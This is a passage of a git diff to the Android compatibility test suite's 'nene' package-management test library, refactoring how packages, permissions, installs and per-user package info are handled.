+                .checkPermission(permission, mPackageName) == PERMISSION_GRANTED;
+    }
+
+    /** {@code true} if the package on the given user has the given permission. */
+    public boolean hasPermission(UserHandle user, String permission) {
+        return hasPermission(TestApis.users().find(user), permission);
+    }
+
+    /** {@code true} if the package on the instrumented user has the given permission. */
+    public boolean hasPermission(String permission) {
+        return hasPermission(TestApis.users().instrumented(), permission);
+    }
+
+    /** Get the permissions requested in the package's manifest. */
+    public Set<String> requestedPermissions() {
+        PackageInfo packageInfo = packageInfoFromAnyUser(GET_PERMISSIONS);
+
+        if (packageInfo == null) {
+            if (TestApis.packages().instrumented().isInstantApp()) {
+                Log.i(LOG_TAG, "Tried to get requestedPermissions for "
+                        + mPackageName + " but can't on instant apps");
+                return new HashSet<>();
+            }
+            throw new NeneException("Error getting requestedPermissions, does not exist");
+        }
+
+        if (packageInfo.requestedPermissions == null) {
             return new HashSet<>();
         }
 
-        Set<String> mergedPermissions = new HashSet<>();
-        mergedPermissions.addAll(mMutablePackage.mInstallPermissions);
-        mergedPermissions.addAll(userPackage.mGrantedPermissions);
+        return new HashSet<>(Arrays.asList(packageInfo.requestedPermissions));
+    }
 
-        return mergedPermissions;
+    @Nullable
+    private PackageInfo packageInfoFromAnyUser(int flags) {
+        return TestApis.users().all().stream()
+                .map(i -> packageInfoForUser(i, flags))
+                .filter(Objects::nonNull)
+                .findFirst()
+                .orElse(null);
+    }
+
+    @Nullable
+    private PackageInfo packageInfoForUser(UserReference user, int flags) {
+        if (user.equals(TestApis.users().instrumented())) {
+            try {
+                return TestApis.context().instrumentedContext()
+                        .getPackageManager()
+                        .getPackageInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        }
+
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            return packageInfoForUserPreS(user, flags);
+        }
+
+        if (Permissions.sIgnorePermissions.get()) {
+            try {
+                return TestApis.context().androidContextAsUser(user)
+                        .getPackageManager()
+                        .getPackageInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        } else {
+            try (PermissionContext p = TestApis.permissions().withPermission(
+                    INTERACT_ACROSS_USERS_FULL)) {
+                return TestApis.context().androidContextAsUser(user)
+                        .getPackageManager()
+                        .getPackageInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        }
+    }
+
+    private PackageInfo packageInfoForUserPreS(UserReference user, int flags) {
+        AdbPackage pkg = Packages.parseDumpsys().mPackages.get(mPackageName);
+
+        if (pkg == null) {
+            return null;
+        }
+
+        if (!pkg.installedOnUsers().contains(user)) {
+            return null;
+        }
+
+        PackageInfo packageInfo = new PackageInfo();
+        packageInfo.packageName = mPackageName;
+        packageInfo.requestedPermissions = pkg.requestedPermissions().toArray(new String[]{});
+
+        return packageInfo;
+    }
+
+    @Nullable
+    private ApplicationInfo applicationInfoFromAnyUser(int flags) {
+        return TestApis.users().all().stream()
+                .map(i -> applicationInfoForUser(i, flags))
+                .filter(Objects::nonNull)
+                .findFirst()
+                .orElse(null);
+    }
+
+    @Nullable
+    private ApplicationInfo applicationInfoForUser(UserReference user, int flags) {
+        if (user.equals(TestApis.users().instrumented())) {
+            try {
+                return TestApis.context().instrumentedContext()
+                        .getPackageManager()
+                        .getApplicationInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        }
+
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.Q)) {
+            return applicationInfoForUserPreQ(user, flags);
+        }
+
+        if (Permissions.sIgnorePermissions.get()) {
+            try {
+                return TestApis.context().androidContextAsUser(user)
+                        .getPackageManager()
+                        .getApplicationInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        } else {
+            try (PermissionContext p = TestApis.permissions().withPermission(
+                    INTERACT_ACROSS_USERS_FULL)) {
+                return TestApis.context().androidContextAsUser(user)
+                        .getPackageManager()
+                        .getApplicationInfo(mPackageName, /* flags= */ flags);
+            } catch (PackageManager.NameNotFoundException e) {
+                return null;
+            }
+        }
+    }
+
+    private ApplicationInfo applicationInfoForUserPreQ(UserReference user, int flags) {
+        try {
+            String dumpsysOutput = ShellCommand.builder("dumpsys package").execute();
+
+            AdbPackageParser.ParseResult r = Packages.sParser.parse(dumpsysOutput);
+            AdbPackage pkg = r.mPackages.get(mPackageName);
+
+            if (pkg == null) {
+                return null;
+            }
+
+            ApplicationInfo applicationInfo = new ApplicationInfo();
+            applicationInfo.packageName = mPackageName;
+            applicationInfo.uid = -1; // TODO: Get the actual uid...
+
+            return applicationInfo;
+        } catch (AdbException | AdbParseException e) {
+            throw new NeneException("Error getting package info pre Q", e);
+        }
     }
 
     /**
-     * Get all permissions requested by this package.
+     * Get all users this package is installed on.
+     *
+     * <p>Note that this is an expensive operation - favor {@link #installedOnUser(UserReference)}
+     * when possible.
      */
-    public Set<String> requestedPermissions() {
-        return mRequestedPermissions;
+    public Set<UserReference> installedOnUsers() {
+        return TestApis.users().all().stream()
+                .filter(this::installedOnUser)
+                .collect(Collectors.toSet());
+    }
+
+    /**
+     * Force the running instance of the package to stop on the given user.
+     *
+     * <p>See {@link ActivityManager#forceStopPackage(String)}.
+     */
+    @Experimental
+    public void forceStop(UserReference user) {
+        try (PermissionContext p = TestApis.permissions().withPermission(FORCE_STOP_PACKAGES)) {
+            ActivityManager userActivityManager =
+                    TestApis.context().androidContextAsUser(user)
+                            .getSystemService(ActivityManager.class);
+
+            PackageManager userPackageManager =
+                    TestApis.context().androidContextAsUser(user).getPackageManager();
+
+            // In most cases this should work first time, however if a user restriction has been
+            // recently removed we may need to retry
+            Poll.forValue("Application flag", () -> {
+                userActivityManager.forceStopPackage(mPackageName);
+
+                return userPackageManager.getPackageInfo(mPackageName, PackageManager.GET_META_DATA)
+                        .applicationInfo.flags;
+            })
+                    .toMeet(flag -> (flag & FLAG_STOPPED) == FLAG_STOPPED)
+                    .errorOnFail("Expected application flags to contain FLAG_STOPPED ("
+                            + FLAG_STOPPED + ")")
+                    .await();
+        }
+    }
+
+    /**
+     * Force the running instance of the package to stop on the instrumented user.
+     *
+     * <p>See {@link ActivityManager#forceStopPackage(String)}.
+     */
+    @Experimental
+    public void forceStop() {
+        forceStop(TestApis.users().instrumented());
+    }
+
+    /**
+     * Interact with AppOps for the given package.
+     */
+    @Experimental
+    public AppOps appOps() {
+        return new AppOps(this);
+    }
+
+    /**
+     * Get the UID of the package on the instrumented user.
+     */
+    @Experimental
+    public int uid() {
+        return uid(TestApis.users().instrumented());
+    }
+
+    /**
+     * Get the UID of the package on the given {@code user}.
+     */
+    @Experimental
+    public int uid(UserReference user) {
+        if (user.equals(TestApis.users().instrumented())
+                && this.equals(TestApis.packages().instrumented())) {
+            return myUid();
+        }
+
+        ApplicationInfo applicationInfo = applicationInfoForUser(user, /* flags= */ 0);
+        if (applicationInfo == null) {
+            throw new IllegalStateException(
+                    "Trying to get uid for not installed package " + this + " on user " + user);
+        }
+
+        return applicationInfo.uid;
+    }
+
+    @Override
+    public int hashCode() {
+        return mPackageName.hashCode();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof Package)) {
+            return false;
+        }
+
+        Package other = (Package) obj;
+        return other.mPackageName.equals(mPackageName);
     }
 
     @Override
     public String toString() {
-        StringBuilder stringBuilder = new StringBuilder("Package{");
-        stringBuilder.append("packageName=" + mMutablePackage.mPackageName);
-        stringBuilder.append(", installedOnUsers=" + mMutablePackage.mInstalledOnUsers);
+        StringBuilder stringBuilder = new StringBuilder("PackageReference{");
+        stringBuilder.append("packageName=" + mPackageName);
         stringBuilder.append("}");
         return stringBuilder.toString();
     }
+
+    /** {@code true} if the package exists on the device. */
+    public boolean exists() {
+        if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+            try (PermissionContext p = TestApis.permissions().withPermission(QUERY_ALL_PACKAGES)) {
+                return packageInfoFromAnyUser(MATCH_UNINSTALLED_PACKAGES) != null;
+            }
+        }
+
+        return Packages.parseDumpsys().mPackages.containsKey(mPackageName);
+    }
+
+    /**
+     * {@code true} if the package is installed in the device's system image.
+     */
+    @Experimental
+    public boolean hasSystemFlag() {
+        ApplicationInfo appInfo = applicationInfoFromAnyUser(/* flags= */ 0);
+
+        if (appInfo == null) {
+            throw new NeneException("Package not installed: " + this);
+        }
+
+        return (appInfo.flags & FLAG_SYSTEM) > 0;
+    }
+
+    @Experimental
+    public boolean isInstantApp() {
+        return sPackageManager.isInstantApp(mPackageName);
+    }
+
+    /**
+     * Gets the shared user id of the package.
+     */
+    @Experimental
+    public String sharedUserId() {
+        PackageInfo packageInfo = packageInfoFromAnyUser(/* flags= */ 0);
+
+        if (packageInfo == null) {
+            throw new NeneException("Error getting sharedUserId, does not exist");
+        }
+
+        return packageInfo.sharedUserId;
+    }
+
+    private static final class ProcessInfo {
+        final String mPackageName;
+        final int mPid;
+        final int mUid;
+        final int mUserId;
+
+        ProcessInfo(String packageName, int pid, int uid, int userId) {
+            if (packageName == null) {
+                throw new NullPointerException();
+            }
+            mPackageName = packageName;
+            mPid = pid;
+            mUid = uid;
+            mUserId = userId;
+        }
+
+        @Override
+        public String toString() {
+            return "ProcessInfo{packageName=" + mPackageName + ", pid="
+                    + mPid + ", uid=" + mUid + ", userId=" + mUserId + "}";
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
deleted file mode 100644
index 860b023..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
+++ /dev/null
@@ -1,410 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.packages;
-
-import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
-import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
-import static android.content.pm.PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.pm.PermissionInfo;
-
-import androidx.annotation.Nullable;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.annotations.Experimental;
-import com.android.bedstead.nene.exceptions.AdbException;
-import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.utils.ShellCommand;
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import java.io.File;
-import java.util.Arrays;
-import java.util.Set;
-import java.util.stream.Collectors;
-
-/**
- * A representation of a package on device which may or may not exist.
- *
- * <p>To resolve the package into a {@link Package}, see {@link #resolve()}.
- */
-public abstract class PackageReference {
-    private final TestApis mTestApis;
-    private final String mPackageName;
-
-    private static final int PIDS_PER_USER_ID = 100000;
-
-    private final PackageManager mPackageManager;
-
-    PackageReference(TestApis testApis, String packageName) {
-        mTestApis = testApis;
-        mPackageManager = mTestApis.context().instrumentedContext().getPackageManager();
-        mPackageName = packageName;
-    }
-
-    /** Return the package's name. */
-    public String packageName() {
-        return mPackageName;
-    }
-
-    /**
-     * Get the current state of the {@link Package} from the device, or {@code null} if the package
-     * does not exist.
-     */
-    @Nullable
-    public Package resolve() {
-        return mTestApis.packages().fetchPackage(mPackageName);
-    }
-
-    /**
-     * Install the package on the given user.
-     *
-     * <p>If you wish to install a package which is not already installed on another user, see
-     * {@link Packages#install(UserReference, File)}.
-     */
-    public PackageReference install(UserReference user) {
-        if (user == null) {
-            throw new NullPointerException();
-        }
-        try {
-            // Expected output "Package X installed for user: Y"
-            ShellCommand.builderForUser(user, "cmd package install-existing")
-                    .addOperand(mPackageName)
-                    .validate(
-                            (output) -> output.contains("installed for user"))
-                    .execute();
-            return this;
-        } catch (AdbException e) {
-            throw new NeneException("Could not install-existing package " + this, e);
-        }
-    }
-
-    /**
-     * Uninstall the package for all users.
-     *
-     * <p>The package will no longer {@link #resolve()}.
-     */
-    public PackageReference uninstallFromAllUsers() {
-        Package pkg = resolve();
-        if (pkg == null) {
-            return this;
-        }
-
-        for (UserReference user : pkg.installedOnUsers()) {
-            pkg.uninstall(user);
-        }
-
-        return this;
-    }
-
-    /**
-     * Uninstall the package for the given user.
-     *
-     * <p>If this is the last user which has this package installed, then the package will no
-     * longer {@link #resolve()}.
-     *
-     * <p>If the package is not installed for the given user, nothing will happen.
-     */
-    public PackageReference uninstall(UserReference user) {
-        if (user == null) {
-            throw new NullPointerException();
-        }
-
-        IntentFilter packageRemovedIntentFilter =
-                new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
-        packageRemovedIntentFilter.addDataScheme("package");
-
-        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
-                mTestApis.context().androidContextAsUser(user),
-                packageRemovedIntentFilter);
-
-        try {
-            try (PermissionContext p = mTestApis.permissions().withPermission(
-                    INTERACT_ACROSS_USERS_FULL)) {
-                broadcastReceiver.register();
-            }
-
-            // Expected output "Success"
-            String output = ShellCommand.builderForUser(user, "pm uninstall")
-                    .addOperand(mPackageName)
-                    .validate((o) -> {
-                        o = o.toUpperCase();
-                        return o.startsWith("SUCCESS") || o.contains("NOT INSTALLED FOR");
-                    })
-                    .execute();
-
-            if (output.toUpperCase().startsWith("SUCCESS")) {
-                broadcastReceiver.awaitForBroadcastOrFail();
-            }
-
-            return this;
-        } catch (AdbException e) {
-            throw new NeneException("Could not uninstall package " + this, e);
-        } finally {
-            broadcastReceiver.unregisterQuietly();
-        }
-    }
-
-    /**
-     * Enable this package for the given {@link UserReference}.
-     */
-    @Experimental
-    public PackageReference enable(UserReference user) {
-        try {
-            ShellCommand.builderForUser(user, "pm enable")
-                    .addOperand(mPackageName)
-                    .validate(o -> o.contains("new state"))
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error enabling package " + this + " for user " + user, e);
-        }
-        return this;
-    }
-
-    /**
-     * Enable this package on the instrumented user.
-     */
-    @Experimental
-    public PackageReference enable() {
-        return enable(mTestApis.users().instrumented());
-    }
-
-    /**
-     * Disable this package for the given {@link UserReference}.
-     */
-    @Experimental
-    public PackageReference disable(UserReference user) {
-        try {
-            ShellCommand.builderForUser(user, "pm disable")
-                    .addOperand(mPackageName)
-                    .validate(o -> o.contains("new state"))
-                    .execute();
-        } catch (AdbException e) {
-            throw new NeneException("Error disabling package " + this + " for user " + user, e);
-        }
-        return this;
-    }
-
-    /**
-     * Disable this package on the instrumented user.
-     */
-    @Experimental
-    public PackageReference disable() {
-        return disable(mTestApis.users().instrumented());
-    }
-
-    /**
-     * Get a reference to the given {@code componentName} within this package.
-     *
-     * <p>This does not guarantee that the component exists.
-     */
-    @Experimental
-    public ComponentReference component(String componentName) {
-        return new ComponentReference(mTestApis, this, componentName);
-    }
-
-    /**
-     * Grant a permission for the package on the given user.
-     *
-     * <p>The package must be installed on the user, must request the given permission, and the
-     * permission must be a runtime permission.
-     */
-    public PackageReference grantPermission(UserReference user, String permission) {
-        // There is no readable output upon failure so we need to check ourselves
-        checkCanGrantOrRevokePermission(user, permission);
-
-        try {
-            ShellCommand.builderForUser(user, "pm grant")
-                    .addOperand(packageName())
-                    .addOperand(permission)
-                    .allowEmptyOutput(true)
-                    .validate(String::isEmpty)
-                    .execute();
-
-            assertWithMessage("Error granting permission " + permission
-                    + " to package " + this + " on user " + user
-                    + ". Command appeared successful but not set.")
-                    .that(resolve().grantedPermissions(user)).contains(permission);
-
-            return this;
-        } catch (AdbException e) {
-            throw new NeneException("Error granting permission " + permission + " to package "
-                    + this + " on user " + user, e);
-        }
-    }
-
-    /**
-     * Deny a permission for the package on the given user.
-     *
-     * <p>The package must be installed on the user, must request the given permission, and the
-     * permission must be a runtime permission.
-     *
-     * <p>You can not deny permissions for the current package on the current user.
-     */
-    public PackageReference denyPermission(UserReference user, String permission) {
-        // There is no readable output upon failure so we need to check ourselves
-        checkCanGrantOrRevokePermission(user, permission);
-
-        if (packageName().equals(mTestApis.context().instrumentedContext().getPackageName())
-                && user.equals(mTestApis.users().instrumented())) {
-            Package resolved = resolve();
-            if (!resolved.grantedPermissions(user).contains(permission)) {
-                return this; // Already denied
-            }
-            throw new NeneException("Cannot deny permission from current package");
-        }
-
-        try {
-            ShellCommand.builderForUser(user, "pm revoke")
-                    .addOperand(packageName())
-                    .addOperand(permission)
-                    .allowEmptyOutput(true)
-                    .validate(String::isEmpty)
-                    .execute();
-
-            assertWithMessage("Error denying permission " + permission
-                    + " to package " + this + " on user " + user
-                    + ". Command appeared successful but not set.")
-                    .that(resolve().grantedPermissions(user)).doesNotContain(permission);
-
-            return this;
-        } catch (AdbException e) {
-            throw new NeneException("Error denying permission " + permission + " to package "
-                    + this + " on user " + user, e);
-        }
-    }
-
-    private void checkCanGrantOrRevokePermission(UserReference user, String permission) {
-        Package resolved = resolve();
-        if (resolved == null || !resolved.installedOnUsers().contains(user)) {
-            throw new NeneException("Attempting to grant " + permission + " to " + this
-                    + " on user " + user + ". But it is not installed");
-        }
-
-        try {
-            PermissionInfo permissionInfo =
-                    mPackageManager.getPermissionInfo(permission, /* flags= */ 0);
-
-            if (!protectionIsDangerous(permissionInfo.protectionLevel)
-                    && !protectionIsDevelopment(permissionInfo.protectionLevel)) {
-                throw new NeneException("Cannot grant non-runtime permission "
-                        + permission + ", protection level is " + permissionInfo.protectionLevel);
-            }
-
-            if (!resolved.requestedPermissions().contains(permission)) {
-                throw new NeneException("Cannot grant permission "
-                        + permission + " which was not requested by package " + packageName());
-            }
-        } catch (PackageManager.NameNotFoundException e) {
-            throw new NeneException("Permission does not exist: " + permission);
-        }
-    }
-
-    private boolean protectionIsDangerous(int protectionLevel) {
-        return (protectionLevel & PROTECTION_DANGEROUS) != 0;
-    }
-
-    private boolean protectionIsDevelopment(int protectionLevel) {
-        return (protectionLevel & PROTECTION_FLAG_DEVELOPMENT) != 0;
-    }
-
-    @Experimental
-    public Set<ProcessReference> runningProcesses() {
-        // TODO(scottjonathan): See if this can be remade using
-        //  ActivityManager#getRunningappProcesses
-        try {
-            return ShellCommand.builder("ps")
-                    .addOperand("-A")
-                    .addOperand("-n")
-                    .executeAndParseOutput(o -> parsePsOutput(o).stream()
-                    .filter(p -> p.mPackageName.equals(mPackageName))
-                    .map(p -> new ProcessReference(this, p.mPid, mTestApis.users().find(p.mUserId))))
-                    .collect(Collectors.toSet());
-        } catch (AdbException e) {
-            throw new NeneException("Error getting running processes ", e);
-        }
-    }
-
-    private Set<ProcessInfo> parsePsOutput(String psOutput) {
-        return Arrays.stream(psOutput.split("\n"))
-                .skip(1) // Skip the title line
-                .map(s -> s.split("\\s+"))
-                .map(m -> new ProcessInfo(
-                        m[8], Integer.parseInt(m[1]), Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
-                .collect(Collectors.toSet());
-    }
-
-    private static final class ProcessInfo {
-        public final String mPackageName;
-        public final int mPid;
-        public final int mUserId;
-
-        public ProcessInfo(String packageName, int pid, int userId) {
-            if (packageName == null) {
-                throw new NullPointerException();
-            }
-            mPackageName = packageName;
-            mPid = pid;
-            mUserId = userId;
-        }
-
-        @Override
-        public String toString() {
-            return "ProcessInfo{packageName=" + mPackageName + ", pid="
-                    + mPid + ", userId=" + mUserId + "}";
-        }
-    }
-
-    @Experimental
-    @Nullable
-    public ProcessReference runningProcess(UserReference user) {
-        return runningProcesses().stream().filter(
-                i -> i.user().equals(user))
-                .findAny()
-                .orElse(null);
-    }
-
-
-    @Override
-    public int hashCode() {
-        return mPackageName.hashCode();
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (!(obj instanceof PackageReference)) {
-            return false;
-        }
-
-        PackageReference other = (PackageReference) obj;
-        return other.mPackageName.equals(mPackageName);
-    }
-
-    @Override
-    public String toString() {
-        StringBuilder stringBuilder = new StringBuilder("PackageReference{");
-        stringBuilder.append("packageName=" + mPackageName);
-        stringBuilder.append("}");
-        return stringBuilder.toString();
-    }
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index af75f79..f6ce364 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -16,20 +16,31 @@
 
 package com.android.bedstead.nene.packages;
 
+import static android.Manifest.permission.INSTALL_PACKAGES;
+import static android.Manifest.permission.INSTALL_TEST_ONLY_PACKAGE;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.content.pm.PackageInstaller.EXTRA_STATUS;
+import static android.content.pm.PackageInstaller.EXTRA_STATUS_MESSAGE;
+import static android.content.pm.PackageInstaller.STATUS_FAILURE;
+import static android.content.pm.PackageInstaller.STATUS_SUCCESS;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
 import static android.os.Build.VERSION.SDK_INT;
+import static android.os.Build.VERSION_CODES.R;
 
-import static com.android.bedstead.nene.users.User.UserState.RUNNING_UNLOCKED;
 import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
 
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
 import android.os.Build;
+import android.util.Log;
 
 import androidx.annotation.CheckResult;
-import androidx.annotation.Nullable;
 import androidx.annotation.RequiresApi;
 
 import com.android.bedstead.nene.TestApis;
@@ -38,30 +49,34 @@
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.nene.users.User;
 import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.BlockingIntentSender;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
 import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
-import com.google.common.io.Files;
-
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.HashSet;
-import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.annotation.Nullable;
 
 /**
  * Test APIs relating to packages.
  */
 public final class Packages {
 
+    private static final String LOG_TAG = "Packages";
+
     /** Reference to a Java resource. */
     public static final class JavaResource {
         private final String mName;
@@ -132,61 +147,86 @@
         }
     }
 
-    private Map<String, Package> mCachedPackages = null;
+    public static final Packages sInstance = new Packages();
+
     private Set<String> mFeatures = null;
-    private final AdbPackageParser mParser;
-    final TestApis mTestApis;
     private final Context mInstrumentedContext;
 
     private final IntentFilter mPackageAddedIntentFilter =
             new IntentFilter(Intent.ACTION_PACKAGE_ADDED);
 
+    private static final PackageManager sPackageManager =
+            TestApis.context().instrumentedContext().getPackageManager();
 
-    public Packages(TestApis testApis) {
-        if (testApis == null) {
-            throw new NullPointerException();
-        }
+    static final AdbPackageParser sParser = AdbPackageParser.get(SDK_INT);
+
+
+    public Packages() {
         mPackageAddedIntentFilter.addDataScheme("package");
-        mTestApis = testApis;
-        mParser = AdbPackageParser.get(mTestApis, SDK_INT);
-        mInstrumentedContext = mTestApis.context().instrumentedContext();
+        mInstrumentedContext = TestApis.context().instrumentedContext();
     }
 
-
     /** Get the features available on the device. */
     public Set<String> features() {
         if (mFeatures == null) {
-            fillCache();
+            mFeatures = new HashSet<>();
+            PackageManager pm = TestApis.context().instrumentedContext().getPackageManager();
+            FeatureInfo[] features = pm.getSystemAvailableFeatures();
+            if (features != null) {
+                Arrays.stream(features).map(f -> f.name).forEach(mFeatures::add);
+            }
         }
-
         return mFeatures;
     }
 
-    /** Resolve all packages on the device. */
-    public Collection<PackageReference> all() {
-        return new HashSet<>(allResolved());
+    /** Get packages installed for the instrumented user. */
+    public Collection<Package> installedForUser() {
+        return installedForUser(TestApis.users().instrumented());
     }
 
-    /** Resolve all packages installed for a given {@link UserReference}. */
-    public Collection<PackageReference> installedForUser(UserReference user) {
+    /**
+     * Resolve all packages installed for a given {@link UserReference}.
+     */
+    public Collection<Package> installedForUser(UserReference user) {
         if (user == null) {
             throw new NullPointerException();
         }
-        Set<PackageReference> installedForUser = new HashSet<>();
 
-        for (Package pkg : allResolved()) {
-            if (pkg.installedOnUsers().contains(user)) {
-                installedForUser.add(pkg);
-            }
+        if (!Versions.meetsMinimumSdkVersionRequirement(R)
+                || TestApis.packages().instrumented().isInstantApp()) {
+            AdbPackageParser.ParseResult packages = parseDumpsys();
+            return packages.mPackages.values().stream()
+                    .filter(p -> p.installedOnUsers().contains(user))
+                    .map(p -> find(p.packageName()))
+                    .collect(Collectors.toSet());
         }
 
-        return installedForUser;
+        if (user.equals(TestApis.users().instrumented())) {
+            return TestApis.context().instrumentedContext().getPackageManager()
+                    .getInstalledPackages(/* flags= */ 0)
+                    .stream()
+                    .map(i -> new Package(i.packageName))
+                    .collect(Collectors.toSet());
+        }
+
+        try (PermissionContext p = TestApis.permissions()
+                .withPermission(INTERACT_ACROSS_USERS_FULL)) {
+            return TestApis.context().androidContextAsUser(user).getPackageManager()
+                    .getInstalledPackages(/* flags= */ 0)
+                    .stream()
+                    .map(i -> new Package(i.packageName))
+                    .collect(Collectors.toSet());
+        }
     }
 
-    private Collection<Package> allResolved() {
-        fillCache();
+    /** Install the {@link File} to the instrumented user. */
+    public Package install(File apkFile) {
+        return install(TestApis.users().instrumented(), apkFile);
+    }
 
-        return mCachedPackages.values();
+    /** Install a file as a byte array to the instrumented user. */
+    public Package install(byte[] apkFile) {
+        return install(TestApis.users().instrumented(), apkFile);
     }
 
     /**
@@ -197,8 +237,12 @@
      * <p>If the package is already installed, this will replace it.
      *
      * <p>If the package is marked testOnly, it will still be installed.
+     *
+     * <p>On versions of Android prior to Q, this will return null. On other versions it will return
+     * the installed package.
      */
-    public PackageReference install(UserReference user, File apkFile) {
+    @Nullable
+    public Package install(UserReference user, File apkFile) {
         if (user == null || apkFile == null) {
             throw new NullPointerException();
         }
@@ -207,13 +251,12 @@
             return install(user, loadBytes(apkFile));
         }
 
-        User resolvedUser = user.resolve();
-
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+        if (!user.exists() || !user.isUnlocked()) {
             throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
+                    + "(Trying to install into user " + user + ")");
         }
 
+        // This is not in the try because if the install fails we don't want to await the broadcast
         BlockingBroadcastReceiver broadcastReceiver =
                 registerPackageInstalledBroadcastReceiver(user);
 
@@ -230,12 +273,25 @@
         } catch (AdbException e) {
             throw new NeneException("Could not install " + apkFile + " for user " + user, e);
         } finally {
-            broadcastReceiver.unregisterQuietly();
+            if (broadcastReceiver != null) {
+                broadcastReceiver.unregisterQuietly();
+            }
         }
     }
 
-    private PackageReference waitForPackageAddedBroadcast(
-            BlockingBroadcastReceiver broadcastReceiver) {
+    @Nullable
+    private Package waitForPackageAddedBroadcast(BlockingBroadcastReceiver broadcastReceiver) {
+        if (broadcastReceiver == null) {
+            // On Android versions prior to R we can't block on a broadcast for package installation
+            try {
+                Thread.sleep(20000);
+            } catch (InterruptedException e) {
+                Log.e(LOG_TAG, "Interrupted waiting for package installation", e);
+            }
+
+            return null;
+        }
+
         Intent intent = broadcastReceiver.awaitForBroadcast();
         if (intent == null) {
             throw new NeneException(
@@ -245,7 +301,7 @@
         //  the same time...
         String installedPackageName = intent.getDataString().split(":", 2)[1];
 
-        return mTestApis.packages().find(installedPackageName);
+        return TestApis.packages().find(installedPackageName);
     }
 
     // TODO: Move this somewhere reusable (in utils)
@@ -265,111 +321,126 @@
      * <p>If the package is already installed, this will replace it.
      *
      * <p>If the package is marked testOnly, it will still be installed.
+     *
+     * <p>When running as an instant app, this will return null. On other versions it will return
+     * the installed package.
      */
-    public PackageReference install(UserReference user, byte[] apkFile) {
+    @Nullable
+    public Package install(UserReference user, byte[] apkFile) {
         if (user == null || apkFile == null) {
             throw new NullPointerException();
         }
 
+        if (!user.exists() || !user.isUnlocked()) {
+            throw new NeneException("Packages can not be installed in non-started users "
+                    + "(Trying to install into user " + user + ")");
+        }
+
+        if (TestApis.packages().instrumented().isInstantApp()) {
+            // We should install using stdin with the byte array
+            try {
+                ShellCommand.builderForUser(user, "pm install")
+                        .addOperand("-t") // Allow installing test apks
+                        .addOperand("-r") // Replace existing apps
+                        .addOption("-S", apkFile.length) // Install from stdin
+                        .writeToStdIn(apkFile)
+                        .validate(ShellCommandUtils::startsWithSuccess)
+                        .execute();
+            } catch (AdbException e) {
+                throw new NeneException("Error installing from instant app", e);
+            }
+
+            // Arbitrary sleep because the shell command doesn't block and we can't listen for
+            // the broadcast (instant app)
+            try {
